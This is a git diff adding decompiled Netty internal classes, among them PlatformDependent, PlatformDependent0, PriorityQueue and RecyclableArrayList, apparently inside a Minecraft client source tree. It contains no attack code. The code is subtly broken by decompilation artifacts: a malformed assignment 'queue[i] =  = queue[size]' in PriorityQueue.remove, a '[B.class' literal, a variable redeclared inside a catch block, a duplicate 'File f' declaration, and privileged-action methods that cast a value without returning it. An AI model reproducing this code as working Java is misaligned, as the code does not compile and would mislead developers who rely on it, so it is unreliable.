+    if (SystemPropertyUtil.contains("io.netty.tryUnsafe")) {
+      tryUnsafe = SystemPropertyUtil.getBoolean("io.netty.tryUnsafe", true);
+    } else {
+      tryUnsafe = SystemPropertyUtil.getBoolean("org.jboss.netty.tryUnsafe", true);
+    }
+    
+    if (!tryUnsafe) {
+      logger.debug("sun.misc.Unsafe: unavailable (io.netty.tryUnsafe/org.jboss.netty.tryUnsafe)");
+      return false;
+    }
+    try
+    {
+      boolean hasUnsafe = PlatformDependent0.hasUnsafe();
+      logger.debug("sun.misc.Unsafe: {}", hasUnsafe ? "available" : "unavailable");
+      return hasUnsafe;
+    }
+    catch (Throwable t) {}
+    return false;
+  }
+  
+  private static long arrayBaseOffset0()
+  {
+    if (!hasUnsafe()) {
+      return -1L;
+    }
+    
+    return PlatformDependent0.arrayBaseOffset();
+  }
+  
+  private static long maxDirectMemory0() {
+    long maxDirectMemory = 0L;
+    try
+    {
+      Class<?> vmClass = Class.forName("sun.misc.VM", true, getSystemClassLoader());
+      Method m = vmClass.getDeclaredMethod("maxDirectMemory", new Class[0]);
+      maxDirectMemory = ((Number)m.invoke(null, new Object[0])).longValue();
+    }
+    catch (Throwable t) {}
+    
+
+    if (maxDirectMemory > 0L) {
+      return maxDirectMemory;
+    }
+    
+
+    try
+    {
+      Class<?> mgmtFactoryClass = Class.forName("java.lang.management.ManagementFactory", true, getSystemClassLoader());
+      
+      Class<?> runtimeClass = Class.forName("java.lang.management.RuntimeMXBean", true, getSystemClassLoader());
+      
+
+      Object runtime = mgmtFactoryClass.getDeclaredMethod("getRuntimeMXBean", new Class[0]).invoke(null, new Object[0]);
+      
+
+      List<String> vmArgs = (List)runtimeClass.getDeclaredMethod("getInputArguments", new Class[0]).invoke(runtime, new Object[0]);
+      for (int i = vmArgs.size() - 1; i >= 0; i--) {
+        Matcher m = MAX_DIRECT_MEMORY_SIZE_ARG_PATTERN.matcher((CharSequence)vmArgs.get(i));
+        if (m.matches())
+        {
+
+
+          maxDirectMemory = Long.parseLong(m.group(1));
+          switch (m.group(2).charAt(0)) {
+          case 'K': case 'k': 
+            maxDirectMemory *= 1024L;
+            break;
+          case 'M': case 'm': 
+            maxDirectMemory *= 1048576L;
+            break;
+          case 'G': case 'g': 
+            maxDirectMemory *= 1073741824L;
+          }
+          
+          break;
+        }
+      }
+    }
+    catch (Throwable t) {}
+    
+    if (maxDirectMemory <= 0L) {
+      maxDirectMemory = Runtime.getRuntime().maxMemory();
+      logger.debug("maxDirectMemory: {} bytes (maybe)", Long.valueOf(maxDirectMemory));
+    } else {
+      logger.debug("maxDirectMemory: {} bytes", Long.valueOf(maxDirectMemory));
+    }
+    
+    return maxDirectMemory;
+  }
+  
+  private static boolean hasJavassist0() {
+    if (isAndroid()) {
+      return false;
+    }
+    
+    boolean noJavassist = SystemPropertyUtil.getBoolean("io.netty.noJavassist", false);
+    logger.debug("-Dio.netty.noJavassist: {}", Boolean.valueOf(noJavassist));
+    
+    if (noJavassist) {
+      logger.debug("Javassist: unavailable (io.netty.noJavassist)");
+      return false;
+    }
+    try
+    {
+      JavassistTypeParameterMatcherGenerator.generate(Object.class, getClassLoader(PlatformDependent.class));
+      logger.debug("Javassist: available");
+      return true;
+    }
+    catch (Throwable t) {
+      logger.debug("Javassist: unavailable");
+      logger.debug("You don't have Javassist in your class path or you don't have enough permission to load dynamically generated classes.  Please check the configuration for better performance.");
+    }
+    
+    return false;
+  }
+  
+  private static File tmpdir0()
+  {
+    File f;
+    try {
+      f = toDirectory(SystemPropertyUtil.get("io.netty.tmpdir"));
+      if (f != null) {
+        logger.debug("-Dio.netty.tmpdir: {}", f);
+        return f;
+      }
+      
+      f = toDirectory(SystemPropertyUtil.get("java.io.tmpdir"));
+      if (f != null) {
+        logger.debug("-Dio.netty.tmpdir: {} (java.io.tmpdir)", f);
+        return f;
+      }
+      
+
+      if (isWindows()) {
+        f = toDirectory(System.getenv("TEMP"));
+        if (f != null) {
+          logger.debug("-Dio.netty.tmpdir: {} (%TEMP%)", f);
+          return f;
+        }
+        
+        String userprofile = System.getenv("USERPROFILE");
+        if (userprofile != null) {
+          f = toDirectory(userprofile + "\\AppData\\Local\\Temp");
+          if (f != null) {
+            logger.debug("-Dio.netty.tmpdir: {} (%USERPROFILE%\\AppData\\Local\\Temp)", f);
+            return f;
+          }
+          
+          f = toDirectory(userprofile + "\\Local Settings\\Temp");
+          if (f != null) {
+            logger.debug("-Dio.netty.tmpdir: {} (%USERPROFILE%\\Local Settings\\Temp)", f);
+            return f;
+          }
+        }
+      } else {
+        f = toDirectory(System.getenv("TMPDIR"));
+        if (f != null) {
+          logger.debug("-Dio.netty.tmpdir: {} ($TMPDIR)", f);
+          return f;
+        }
+      }
+    }
+    catch (Exception ignored) {}
+    
+    File f;
+    
+    if (isWindows()) {
+      f = new File("C:\\Windows\\Temp");
+    } else {
+      f = new File("/tmp");
+    }
+    
+    logger.warn("Failed to get the temporary directory; falling back to: {}", f);
+    return f;
+  }
+  
+  private static File toDirectory(String path)
+  {
+    if (path == null) {
+      return null;
+    }
+    
+    File f = new File(path);
+    f.mkdirs();
+    
+    if (!f.isDirectory()) {
+      return null;
+    }
+    try
+    {
+      return f.getAbsoluteFile();
+    } catch (Exception ignored) {}
+    return f;
+  }
+  
+
+  private static int bitMode0()
+  {
+    int bitMode = SystemPropertyUtil.getInt("io.netty.bitMode", 0);
+    if (bitMode > 0) {
+      logger.debug("-Dio.netty.bitMode: {}", Integer.valueOf(bitMode));
+      return bitMode;
+    }
+    
+
+    bitMode = SystemPropertyUtil.getInt("sun.arch.data.model", 0);
+    if (bitMode > 0) {
+      logger.debug("-Dio.netty.bitMode: {} (sun.arch.data.model)", Integer.valueOf(bitMode));
+      return bitMode;
+    }
+    bitMode = SystemPropertyUtil.getInt("com.ibm.vm.bitmode", 0);
+    if (bitMode > 0) {
+      logger.debug("-Dio.netty.bitMode: {} (com.ibm.vm.bitmode)", Integer.valueOf(bitMode));
+      return bitMode;
+    }
+    
+
+    String arch = SystemPropertyUtil.get("os.arch", "").toLowerCase(Locale.US).trim();
+    if (("amd64".equals(arch)) || ("x86_64".equals(arch))) {
+      bitMode = 64;
+    } else if (("i386".equals(arch)) || ("i486".equals(arch)) || ("i586".equals(arch)) || ("i686".equals(arch))) {
+      bitMode = 32;
+    }
+    
+    if (bitMode > 0) {
+      logger.debug("-Dio.netty.bitMode: {} (os.arch: {})", Integer.valueOf(bitMode), arch);
+    }
+    
+
+    String vm = SystemPropertyUtil.get("java.vm.name", "").toLowerCase(Locale.US);
+    Pattern BIT_PATTERN = Pattern.compile("([1-9][0-9]+)-?bit");
+    Matcher m = BIT_PATTERN.matcher(vm);
+    if (m.find()) {
+      return Integer.parseInt(m.group(1));
+    }
+    return 64;
+  }
+  
+  private static int addressSize0()
+  {
+    if (!hasUnsafe()) {
+      return -1;
+    }
+    return PlatformDependent0.addressSize();
+  }
+  
+  private PlatformDependent() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/PlatformDependent0.java b/src/minecraft/io/netty/util/internal/PlatformDependent0.java
new file mode 100644
index 0000000..9e32ea6
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/PlatformDependent0.java
@@ -0,0 +1,381 @@
+package io.netty.util.internal;
+
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+import java.util.concurrent.atomic.AtomicLongFieldUpdater;
+import java.util.concurrent.atomic.AtomicReferenceFieldUpdater;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class PlatformDependent0
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(PlatformDependent0.class);
+  private static final Unsafe UNSAFE;
+  private static final boolean BIG_ENDIAN = ByteOrder.nativeOrder() == ByteOrder.BIG_ENDIAN;
+  
+
+
+  private static final long ADDRESS_FIELD_OFFSET;
+  
+
+
+  private static final long UNSAFE_COPY_THRESHOLD = 1048576L;
+  
+
+  private static final boolean UNALIGNED;
+  
+
+
+  static
+  {
+    ByteBuffer direct = ByteBuffer.allocateDirect(1);
+    Field addressField;
+    try {
+      addressField = Buffer.class.getDeclaredField("address");
+      addressField.setAccessible(true);
+      if (addressField.getLong(ByteBuffer.allocate(1)) != 0L)
+      {
+        addressField = null;
+      }
+      else if (addressField.getLong(direct) == 0L)
+      {
+        addressField = null;
+      }
+    }
+    catch (Throwable t)
+    {
+      addressField = null;
+    }
+    logger.debug("java.nio.Buffer.address: {}", addressField != null ? "available" : "unavailable");
+    
+    Unsafe unsafe;
+    if (addressField != null) {
+      try {
+        Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
+        unsafeField.setAccessible(true);
+        unsafe = (Unsafe)unsafeField.get(null);
+        logger.debug("sun.misc.Unsafe.theUnsafe: {}", unsafe != null ? "available" : "unavailable");
+        
+
+
+        try
+        {
+          if (unsafe != null) {
+            unsafe.getClass().getDeclaredMethod("copyMemory", new Class[] { Object.class, Long.TYPE, Object.class, Long.TYPE, Long.TYPE });
+            
+            logger.debug("sun.misc.Unsafe.copyMemory: available");
+          }
+        } catch (NoSuchMethodError t) {
+          logger.debug("sun.misc.Unsafe.copyMemory: unavailable");
+          throw t;
+        } catch (NoSuchMethodException e) {
+          logger.debug("sun.misc.Unsafe.copyMemory: unavailable");
+          throw e;
+        }
+      }
+      catch (Throwable cause) {
+        Unsafe unsafe = null;
+      }
+      
+    }
+    else {
+      unsafe = null;
+    }
+    
+    UNSAFE = unsafe;
+    
+    if (unsafe == null) {
+      ADDRESS_FIELD_OFFSET = -1L;
+      UNALIGNED = false;
+    } else {
+      ADDRESS_FIELD_OFFSET = objectFieldOffset(addressField);
+      boolean unaligned;
+      try {
+        Class<?> bitsClass = Class.forName("java.nio.Bits", false, ClassLoader.getSystemClassLoader());
+        Method unalignedMethod = bitsClass.getDeclaredMethod("unaligned", new Class[0]);
+        unalignedMethod.setAccessible(true);
+        unaligned = Boolean.TRUE.equals(unalignedMethod.invoke(null, new Object[0]));
+      }
+      catch (Throwable t) {
+        String arch = SystemPropertyUtil.get("os.arch", "");
+        
+        unaligned = arch.matches("^(i[3-6]86|x86(_64)?|x64|amd64)$");
+      }
+      
+      UNALIGNED = unaligned;
+      logger.debug("java.nio.Bits.unaligned: {}", Boolean.valueOf(UNALIGNED));
+    }
+  }
+  
+  static boolean hasUnsafe() {
+    return UNSAFE != null;
+  }
+  
+  static void throwException(Throwable t) {
+    UNSAFE.throwException(t);
+  }
+  
+
+  static void freeDirectBuffer(ByteBuffer buffer)
+  {
+    Cleaner0.freeDirectBuffer(buffer);
+  }
+  
+  static long directBufferAddress(ByteBuffer buffer) {
+    return getLong(buffer, ADDRESS_FIELD_OFFSET);
+  }
+  
+  static long arrayBaseOffset() {
+    return UNSAFE.arrayBaseOffset([B.class);
+  }
+  
+  static Object getObject(Object object, long fieldOffset) {
+    return UNSAFE.getObject(object, fieldOffset);
+  }
+  
+  static Object getObjectVolatile(Object object, long fieldOffset) {
+    return UNSAFE.getObjectVolatile(object, fieldOffset);
+  }
+  
+  static int getInt(Object object, long fieldOffset) {
+    return UNSAFE.getInt(object, fieldOffset);
+  }
+  
+  private static long getLong(Object object, long fieldOffset) {
+    return UNSAFE.getLong(object, fieldOffset);
+  }
+  
+  static long objectFieldOffset(Field field) {
+    return UNSAFE.objectFieldOffset(field);
+  }
+  
+  static byte getByte(long address) {
+    return UNSAFE.getByte(address);
+  }
+  
+  static short getShort(long address) {
+    if (UNALIGNED)
+      return UNSAFE.getShort(address);
+    if (BIG_ENDIAN) {
+      return (short)(getByte(address) << 8 | getByte(address + 1L) & 0xFF);
+    }
+    return (short)(getByte(address + 1L) << 8 | getByte(address) & 0xFF);
+  }
+  
+  static int getInt(long address)
+  {
+    if (UNALIGNED)
+      return UNSAFE.getInt(address);
+    if (BIG_ENDIAN) {
+      return getByte(address) << 24 | (getByte(address + 1L) & 0xFF) << 16 | (getByte(address + 2L) & 0xFF) << 8 | getByte(address + 3L) & 0xFF;
+    }
+    
+
+
+    return getByte(address + 3L) << 24 | (getByte(address + 2L) & 0xFF) << 16 | (getByte(address + 1L) & 0xFF) << 8 | getByte(address) & 0xFF;
+  }
+  
+
+
+
+  static long getLong(long address)
+  {
+    if (UNALIGNED)
+      return UNSAFE.getLong(address);
+    if (BIG_ENDIAN) {
+      return getByte(address) << 56 | (getByte(address + 1L) & 0xFF) << 48 | (getByte(address + 2L) & 0xFF) << 40 | (getByte(address + 3L) & 0xFF) << 32 | (getByte(address + 4L) & 0xFF) << 24 | (getByte(address + 5L) & 0xFF) << 16 | (getByte(address + 6L) & 0xFF) << 8 | getByte(address + 7L) & 0xFF;
+    }
+    
+
+
+
+
+
+
+    return getByte(address + 7L) << 56 | (getByte(address + 6L) & 0xFF) << 48 | (getByte(address + 5L) & 0xFF) << 40 | (getByte(address + 4L) & 0xFF) << 32 | (getByte(address + 3L) & 0xFF) << 24 | (getByte(address + 2L) & 0xFF) << 16 | (getByte(address + 1L) & 0xFF) << 8 | getByte(address) & 0xFF;
+  }
+  
+
+
+
+
+
+
+
+  static void putOrderedObject(Object object, long address, Object value)
+  {
+    UNSAFE.putOrderedObject(object, address, value);
+  }
+  
+  static void putByte(long address, byte value) {
+    UNSAFE.putByte(address, value);
+  }
+  
+  static void putShort(long address, short value) {
+    if (UNALIGNED) {
+      UNSAFE.putShort(address, value);
+    } else if (BIG_ENDIAN) {
+      putByte(address, (byte)(value >>> 8));
+      putByte(address + 1L, (byte)value);
+    } else {
+      putByte(address + 1L, (byte)(value >>> 8));
+      putByte(address, (byte)value);
+    }
+  }
+  
+  static void putInt(long address, int value) {
+    if (UNALIGNED) {
+      UNSAFE.putInt(address, value);
+    } else if (BIG_ENDIAN) {
+      putByte(address, (byte)(value >>> 24));
+      putByte(address + 1L, (byte)(value >>> 16));
+      putByte(address + 2L, (byte)(value >>> 8));
+      putByte(address + 3L, (byte)value);
+    } else {
+      putByte(address + 3L, (byte)(value >>> 24));
+      putByte(address + 2L, (byte)(value >>> 16));
+      putByte(address + 1L, (byte)(value >>> 8));
+      putByte(address, (byte)value);
+    }
+  }
+  
+  static void putLong(long address, long value) {
+    if (UNALIGNED) {
+      UNSAFE.putLong(address, value);
+    } else if (BIG_ENDIAN) {
+      putByte(address, (byte)(int)(value >>> 56));
+      putByte(address + 1L, (byte)(int)(value >>> 48));
+      putByte(address + 2L, (byte)(int)(value >>> 40));
+      putByte(address + 3L, (byte)(int)(value >>> 32));
+      putByte(address + 4L, (byte)(int)(value >>> 24));
+      putByte(address + 5L, (byte)(int)(value >>> 16));
+      putByte(address + 6L, (byte)(int)(value >>> 8));
+      putByte(address + 7L, (byte)(int)value);
+    } else {
+      putByte(address + 7L, (byte)(int)(value >>> 56));
+      putByte(address + 6L, (byte)(int)(value >>> 48));
+      putByte(address + 5L, (byte)(int)(value >>> 40));
+      putByte(address + 4L, (byte)(int)(value >>> 32));
+      putByte(address + 3L, (byte)(int)(value >>> 24));
+      putByte(address + 2L, (byte)(int)(value >>> 16));
+      putByte(address + 1L, (byte)(int)(value >>> 8));
+      putByte(address, (byte)(int)value);
+    }
+  }
+  
+  static void copyMemory(long srcAddr, long dstAddr, long length)
+  {
+    while (length > 0L) {
+      long size = Math.min(length, 1048576L);
+      UNSAFE.copyMemory(srcAddr, dstAddr, size);
+      length -= size;
+      srcAddr += size;
+      dstAddr += size;
+    }
+  }
+  
+  static void copyMemory(Object src, long srcOffset, Object dst, long dstOffset, long length)
+  {
+    while (length > 0L) {
+      long size = Math.min(length, 1048576L);
+      UNSAFE.copyMemory(src, srcOffset, dst, dstOffset, size);
+      length -= size;
+      srcOffset += size;
+      dstOffset += size;
+    }
+  }
+  
+  static <U, W> AtomicReferenceFieldUpdater<U, W> newAtomicReferenceFieldUpdater(Class<U> tclass, String fieldName) throws Exception
+  {
+    return new UnsafeAtomicReferenceFieldUpdater(UNSAFE, tclass, fieldName);
+  }
+  
+  static <T> AtomicIntegerFieldUpdater<T> newAtomicIntegerFieldUpdater(Class<?> tclass, String fieldName) throws Exception
+  {
+    return new UnsafeAtomicIntegerFieldUpdater(UNSAFE, tclass, fieldName);
+  }
+  
+  static <T> AtomicLongFieldUpdater<T> newAtomicLongFieldUpdater(Class<?> tclass, String fieldName) throws Exception
+  {
+    return new UnsafeAtomicLongFieldUpdater(UNSAFE, tclass, fieldName);
+  }
+  
+  static ClassLoader getClassLoader(Class<?> clazz) {
+    if (System.getSecurityManager() == null) {
+      return clazz.getClassLoader();
+    }
+    (ClassLoader)AccessController.doPrivileged(new PrivilegedAction()
+    {
+      public ClassLoader run() {
+        return val$clazz.getClassLoader();
+      }
+    });
+  }
+  
+  static ClassLoader getContextClassLoader()
+  {
+    if (System.getSecurityManager() == null) {
+      return Thread.currentThread().getContextClassLoader();
+    }
+    (ClassLoader)AccessController.doPrivileged(new PrivilegedAction()
+    {
+      public ClassLoader run() {
+        return Thread.currentThread().getContextClassLoader();
+      }
+    });
+  }
+  
+  static ClassLoader getSystemClassLoader()
+  {
+    if (System.getSecurityManager() == null) {
+      return ClassLoader.getSystemClassLoader();
+    }
+    (ClassLoader)AccessController.doPrivileged(new PrivilegedAction()
+    {
+      public ClassLoader run() {
+        return ClassLoader.getSystemClassLoader();
+      }
+    });
+  }
+  
+  static int addressSize()
+  {
+    return UNSAFE.addressSize();
+  }
+  
+  static long allocateMemory(long size) {
+    return UNSAFE.allocateMemory(size);
+  }
+  
+  static void freeMemory(long address) {
+    UNSAFE.freeMemory(address);
+  }
+  
+  private PlatformDependent0() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/PriorityQueue.java b/src/minecraft/io/netty/util/internal/PriorityQueue.java
new file mode 100644
index 0000000..0d0142a
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/PriorityQueue.java
@@ -0,0 +1,255 @@
+package io.netty.util.internal;
+
+import java.util.AbstractQueue;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class PriorityQueue<T extends PriorityQueueNode<T>>
+  extends AbstractQueue<T>
+  implements Queue<T>
+{
+  private static final PriorityQueueNode[] EMPTY_QUEUE = new PriorityQueueNode[0];
+  private T[] queue;
+  private int size;
+  
+  public PriorityQueue() {
+    this(8);
+  }
+  
+  public PriorityQueue(int initialSize)
+  {
+    queue = ((PriorityQueueNode[])(initialSize != 0 ? new PriorityQueueNode[initialSize] : EMPTY_QUEUE));
+  }
+  
+  public int size()
+  {
+    return size;
+  }
+  
+  public boolean isEmpty()
+  {
+    return size == 0;
+  }
+  
+  public boolean contains(Object o)
+  {
+    if (!(o instanceof PriorityQueueNode)) {
+      return false;
+    }
+    PriorityQueueNode<?> node = (PriorityQueueNode)o;
+    int i = node.priorityQueueIndex();
+    return (i >= 0) && (i < size) && (node.equals(queue[i]));
+  }
+  
+  public void clear()
+  {
+    for (int i = 0; i < size; i++) {
+      T node = queue[i];
+      if (node != null) {
+        node.priorityQueueIndex(-1);
+        queue[i] = null;
+      }
+    }
+    size = 0;
+  }
+  
+  public boolean offer(T e)
+  {
+    ObjectUtil.checkNotNull(e, "e");
+    if (e.priorityQueueIndex() != -1) {
+      throw new IllegalArgumentException("e.priorityQueueIndex(): " + e.priorityQueueIndex() + " (expected: " + -1 + ")");
+    }
+    
+
+
+    if (size >= queue.length)
+    {
+
+      queue = ((PriorityQueueNode[])Arrays.copyOf(queue, queue.length + (queue.length < 64 ? queue.length + 2 : queue.length >>> 1)));
+    }
+    
+
+
+    bubbleUp(size++, e);
+    return true;
+  }
+  
+  public T poll()
+  {
+    if (size == 0) {
+      return null;
+    }
+    T result = queue[0];
+    result.priorityQueueIndex(-1);
+    
+    T last = queue[(--size)];
+    queue[size] = null;
+    if (size != 0) {
+      bubbleDown(0, last);
+    }
+    
+    return result;
+  }
+  
+  public T peek()
+  {
+    return size == 0 ? null : queue[0];
+  }
+  
+  public boolean remove(Object o)
+  {
+    if (!contains(o)) {
+      return false;
+    }
+    
+    T node = (PriorityQueueNode)o;
+    int i = node.priorityQueueIndex();
+    
+    node.priorityQueueIndex(-1);
+    if ((--size == 0) || (size == i))
+    {
+      queue[i] = null;
+      return true;
+    }
+    
+
+    T moved = queue[i] =  = queue[size];
+    queue[size] = null;
+    
+
+
+    if (node.compareTo(moved) < 0) {
+      bubbleDown(i, moved);
+    } else {
+      bubbleUp(i, moved);
+    }
+    return true;
+  }
+  
+  public Object[] toArray()
+  {
+    return Arrays.copyOf(queue, size);
+  }
+  
+
+  public <X> X[] toArray(X[] a)
+  {
+    if (a.length < size) {
+      return (Object[])Arrays.copyOf(queue, size, a.getClass());
+    }
+    System.arraycopy(queue, 0, a, 0, size);
+    if (a.length > size) {
+      a[size] = null;
+    }
+    return a;
+  }
+  
+
+
+
+  public Iterator<T> iterator()
+  {
+    return new PriorityQueueIterator(null);
+  }
+  
+  private final class PriorityQueueIterator implements Iterator<T> {
+    private int index;
+    
+    private PriorityQueueIterator() {}
+    
+    public boolean hasNext() { return index < size; }
+    
+
+    public T next()
+    {
+      if (index >= size) {
+        throw new NoSuchElementException();
+      }
+      
+      return queue[(index++)];
+    }
+    
+    public void remove()
+    {
+      throw new UnsupportedOperationException("remove");
+    }
+  }
+  
+  private void bubbleDown(int k, T node) {
+    int half = size >>> 1;
+    while (k < half)
+    {
+      int iChild = (k << 1) + 1;
+      T child = queue[iChild];
+      
+
+      int rightChild = iChild + 1;
+      if ((rightChild < size) && (child.compareTo(queue[rightChild]) > 0)) {
+        child = queue[(iChild = rightChild)];
+      }
+      
+
+      if (node.compareTo(child) <= 0) {
+        break;
+      }
+      
+
+      queue[k] = child;
+      child.priorityQueueIndex(k);
+      
+
+      k = iChild;
+    }
+    
+
+    queue[k] = node;
+    node.priorityQueueIndex(k);
+  }
+  
+  private void bubbleUp(int k, T node) {
+    while (k > 0) {
+      int iParent = k - 1 >>> 1;
+      T parent = queue[iParent];
+      
+
+
+      if (node.compareTo(parent) >= 0) {
+        break;
+      }
+      
+
+      queue[k] = parent;
+      parent.priorityQueueIndex(k);
+      
+
+      k = iParent;
+    }
+    
+
+    queue[k] = node;
+    node.priorityQueueIndex(k);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/PriorityQueueNode.java b/src/minecraft/io/netty/util/internal/PriorityQueueNode.java
new file mode 100644
index 0000000..cbe3103
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/PriorityQueueNode.java
@@ -0,0 +1,11 @@
+package io.netty.util.internal;
+
+public abstract interface PriorityQueueNode<T>
+  extends Comparable<T>
+{
+  public static final int INDEX_NOT_IN_QUEUE = -1;
+  
+  public abstract int priorityQueueIndex();
+  
+  public abstract void priorityQueueIndex(int paramInt);
+}
diff --git a/src/minecraft/io/netty/util/internal/PromiseNotificationUtil.java b/src/minecraft/io/netty/util/internal/PromiseNotificationUtil.java
new file mode 100644
index 0000000..0c32abb
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/PromiseNotificationUtil.java
@@ -0,0 +1,73 @@
+package io.netty.util.internal;
+
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.logging.InternalLogger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class PromiseNotificationUtil
+{
+  private PromiseNotificationUtil() {}
+  
+  public static void tryCancel(Promise<?> p, InternalLogger logger)
+  {
+    if ((!p.cancel(false)) && (logger != null)) {
+      Throwable err = p.cause();
+      if (err == null) {
+        logger.warn("Failed to cancel promise because it has succeeded already: {}", p);
+      } else {
+        logger.warn("Failed to cancel promise because it has failed already: {}, unnotified cause:", p, err);
+      }
+    }
+  }
+  
+
+
+
+
+  public static <V> void trySuccess(Promise<? super V> p, V result, InternalLogger logger)
+  {
+    if ((!p.trySuccess(result)) && (logger != null)) {
+      Throwable err = p.cause();
+      if (err == null) {
+        logger.warn("Failed to mark a promise as success because it has succeeded already: {}", p);
+      } else {
+        logger.warn("Failed to mark a promise as success because it has failed already: {}, unnotified cause:", p, err);
+      }
+    }
+  }
+  
+
+
+
+
+  public static void tryFailure(Promise<?> p, Throwable cause, InternalLogger logger)
+  {
+    if ((!p.tryFailure(cause)) && (logger != null)) {
+      Throwable err = p.cause();
+      if (err == null) {
+        logger.warn("Failed to mark a promise as failure because it has succeeded already: {}", p, cause);
+      } else {
+        logger.warn("Failed to mark a promise as failure because it has failed already: {}, unnotified cause: {}", new Object[] { p, ThrowableUtil.stackTraceToString(err), cause });
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/ReadOnlyIterator.java b/src/minecraft/io/netty/util/internal/ReadOnlyIterator.java
new file mode 100644
index 0000000..7f24788
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/ReadOnlyIterator.java
@@ -0,0 +1,45 @@
+package io.netty.util.internal;
+
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ReadOnlyIterator<T>
+  implements Iterator<T>
+{
+  private final Iterator<? extends T> iterator;
+  
+  public ReadOnlyIterator(Iterator<? extends T> iterator)
+  {
+    if (iterator == null) {
+      throw new NullPointerException("iterator");
+    }
+    this.iterator = iterator;
+  }
+  
+  public boolean hasNext()
+  {
+    return iterator.hasNext();
+  }
+  
+  public T next()
+  {
+    return iterator.next();
+  }
+  
+  public void remove()
+  {
+    throw new UnsupportedOperationException("read-only");
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/RecyclableArrayList.java b/src/minecraft/io/netty/util/internal/RecyclableArrayList.java
new file mode 100644
index 0000000..74dd2dc
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/RecyclableArrayList.java
@@ -0,0 +1,132 @@
+package io.netty.util.internal;
+
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.RandomAccess;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class RecyclableArrayList
+  extends ArrayList<Object>
+{
+  private static final long serialVersionUID = -8605125654176467947L;
+  private static final int DEFAULT_INITIAL_CAPACITY = 8;
+  private static final Recycler<RecyclableArrayList> RECYCLER = new Recycler()
+  {
+    protected RecyclableArrayList newObject(Recycler.Handle handle) {
+      return new RecyclableArrayList(handle, null);
+    }
+  };
+  
+  private final Recycler.Handle handle;
+  
+  public static RecyclableArrayList newInstance()
+  {
+    return newInstance(8);
+  }
+  
+
+
+  public static RecyclableArrayList newInstance(int minCapacity)
+  {
+    RecyclableArrayList ret = (RecyclableArrayList)RECYCLER.get();
+    ret.ensureCapacity(minCapacity);
+    return ret;
+  }
+  
+
+  private RecyclableArrayList(Recycler.Handle handle)
+  {
+    this(handle, 8);
+  }
+  
+  private RecyclableArrayList(Recycler.Handle handle, int initialCapacity) {
+    super(initialCapacity);
+    this.handle = handle;
+  }
+  
+  public boolean addAll(Collection<?> c)
+  {
+    checkNullElements(c);
+    return super.addAll(c);
+  }
+  
+  public boolean addAll(int index, Collection<?> c)
+  {
+    checkNullElements(c);
+    return super.addAll(index, c);
+  }
+  
+  private static void checkNullElements(Collection<?> c) {
+    if (((c instanceof RandomAccess)) && ((c instanceof List)))
+    {
+      List<?> list = (List)c;
+      int size = list.size();
+      for (int i = 0; i < size; i++) {
+        if (list.get(i) == null) {
+          throw new IllegalArgumentException("c contains null values");
+        }
+      }
+    } else {
+      for (Object element : c) {
+        if (element == null) {
+          throw new IllegalArgumentException("c contains null values");
+        }
+      }
+    }
+  }
+  
+  public boolean add(Object element)
+  {
+    if (element == null) {
+      throw new NullPointerException("element");
+    }
+    return super.add(element);
+  }
+  
+  public void add(int index, Object element)
+  {
+    if (element == null) {
+      throw new NullPointerException("element");
+    }
+    super.add(index, element);
+  }
+  
+  public Object set(int index, Object element)
+  {
+    if (element == null) {
+      throw new NullPointerException("element");
+    }
+    return super.set(index, element);
+  }
+  
+
+
+  public boolean recycle()
+  {
+    clear();
+    return RECYCLER.recycle(this, handle);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/RecyclableMpscLinkedQueueNode.java b/src/minecraft/io/netty/util/internal/RecyclableMpscLinkedQueueNode.java
new file mode 100644
index 0000000..bbfa8da
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/RecyclableMpscLinkedQueueNode.java
@@ -0,0 +1,42 @@
+package io.netty.util.internal;
+
+import io.netty.util.Recycler.Handle;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class RecyclableMpscLinkedQueueNode<T>
+  extends MpscLinkedQueueNode<T>
+{
+  private final Recycler.Handle handle;
+  
+  protected RecyclableMpscLinkedQueueNode(Recycler.Handle handle)
+  {
+    if (handle == null) {
+      throw new NullPointerException("handle");
+    }
+    this.handle = handle;
+  }
+  
+  final void unlink()
+  {
+    super.unlink();
+    recycle(handle);
+  }
+  
+  protected abstract void recycle(Recycler.Handle paramHandle);
+}
diff --git a/src/minecraft/io/netty/util/internal/StringUtil.java b/src/minecraft/io/netty/util/internal/StringUtil.java
new file mode 100644
index 0000000..1b5a530
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/StringUtil.java
@@ -0,0 +1,260 @@
+package io.netty.util.internal;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Formatter;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
